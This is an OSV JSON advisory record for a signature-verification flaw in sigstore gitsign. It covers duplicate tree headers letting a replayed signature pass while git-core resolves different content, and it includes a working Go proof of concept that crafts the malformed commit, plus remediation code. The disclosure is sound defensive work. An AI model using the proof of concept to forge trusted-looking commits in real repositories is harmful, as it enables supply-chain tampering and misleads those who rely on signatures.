Files
vuln-osv/data/Go/GHSA-7rmh-48mx-2vwc.json
T

1 line
15 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-7rmh-48mx-2vwc","published":"2026-05-08T22:38:50Z","modified":"2026-09-10T03:50:46.265914658Z","aliases":["CVE-2026-44309","GO-2026-5233"],"summary":"gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits","details":"## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None — the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged — impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` — `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77)\n- `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63–92\nc, err := repo.CommitObject(*h) // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form\n return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76–95\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137–142\n// We're making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don't match the unmarshal type.\n// We should see if there's a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n encoder, err = commit(obj, sig)\n```\n\ngo-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56–70\ndetached := len(args) >= 2\nif detached {\n data, sig, err = readDetached(s, args...) // raw bytes from git-core\n} else {\n sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1 ← Alice's real tree (what go-git and gitsign see)\nauthor Alice <alice@corp.com> ...\ncommitter Alice <alice@corp.com> ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n <Alice's valid signature over T1 canonical form>\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2 ← attacker's malicious tree (git-core uses this)\ntree T1 ← Alice's tree (go-git uses this)\nauthor Alice <alice@corp.com> ...\ncommitter Alice <alice@corp.com> ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n <Alice's valid signature — replayed verbatim>\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n \"context\"\n \"crypto\"\n \"crypto/ecdsa\"\n \"crypto/elliptic\"\n \"crypto/rand\"\n \"crypto/x509\"\n \"crypto/x509/pkix\"\n \"fmt\"\n \"io\"\n \"math/big\"\n \"strings\"\n \"time\"\n\n \"github.com/go-git/go-git/v5/plumbing\"\n \"github.com/go-git/go-git/v5/plumbing/object\"\n \"github.com/go-git/go-git/v5/storage/memory\"\n \"github.com/sigstore/gitsign/internal/signature\"\n ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n cert *x509.Certificate\n priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }\nfunc (i *identity) Delete() error { return nil }\nfunc (i *identity) Close() {}\n\nfunc indentSig(sig string) string {\n sig = strings.TrimSuffix(sig, \"\\n\")\n lines := strings.Split(sig, \"\\n\")\n out := \"gpgsig \" + lines[0] + \"\\n\"\n for _, ln := range lines[1:] {\n out += \" \" + ln + \"\\n\"\n }\n return out\n}\n\nfunc main() {\n priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n tmpl := &x509.Certificate{\n SerialNumber: big.NewInt(1),\n Subject: pkix.Name{CommonName: \"attacker\"},\n NotBefore: time.Now().Add(-time.Minute),\n NotAfter: time.Now().Add(time.Hour),\n KeyUsage: x509.KeyUsageDigitalSignature,\n ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n BasicConstraintsValid: true,\n }\n rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)\n cert, _ := x509.ParseCertificate(rawCert)\n\n treeFirst := strings.Repeat(\"a\", 40) // git-core uses this\n treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n author := \"author Eve <eve@example.com> 1700000000 +0000\"\n committer := \"committer Eve <eve@example.com> 1700000000 +0000\"\n msg := \"msg\\n\"\n\n // Sign the go-git canonical form (second tree only)\n canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n id := &identity{cert: cert, priv: priv}\n resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n if err != nil {\n panic(err)\n }\n\n // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n st := memory.NewStorage()\n enc := st.NewEncodedObject()\n enc.SetType(plumbing.CommitObject)\n w, _ := enc.Writer()\n _, _ = w.Write([]byte(malformedRaw))\n _ = w.Close()\n c, err := object.DecodeCommit(st, enc)\n if err != nil {\n panic(err)\n }\n\n // Reproduce what gitsign verify does\n out := new(plumbing.MemoryObject)\n if err := c.EncodeWithoutSignature(out); err != nil {\n panic(err)\n }\n r, _ := out.Reader()\n verifyData, _ := io.ReadAll(r)\n\n roots := x509.NewCertPool()\n roots.AddCert(cert)\n v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n rawObj := &plumbing.MemoryObject{}\n rawObj.SetType(plumbing.CommitObject)\n _, _ = rawObj.Write([]byte(malformedRaw))\n\n fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n fmt.Println(\"CERT_VERIFY_ERROR:\", verr) // nil = signature accepted\n fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL: true\nCERT_VERIFY_ERROR: <nil> ← signature accepted\nOBJECTHASH_ERROR: <nil>\nOBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>\nRAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go — replace lines 63–92\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n return err\n}\n// data is now the raw bytes without the gpgsig header — identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data []byte) error {\n seen := map[string]bool{}\n for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n if idx := bytes.IndexByte(line, ' '); idx > 0 {\n key := string(line[:idx])\n if seen[key] {\n return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n }\n seen[key] = true\n }\n if len(line) == 0 {\n break // end of headers\n }\n }\n return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","affected":[{"package":{"name":"github.com/sigstore/gitsign","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/gitsign"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.16.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7rmh-48mx-2vwc/GHSA-7rmh-48mx-2vwc.json"}}],"references":[{"type":"WEB","url":"https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44309"},{"type":"PACKAGE","url":"https://github.com/sigstore/gitsign"}],"database_specific":{"cwe_ids":["CWE-295","CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-05-08T22:38:50Z","nvd_published_at":"2026-05-15T17:16:47Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}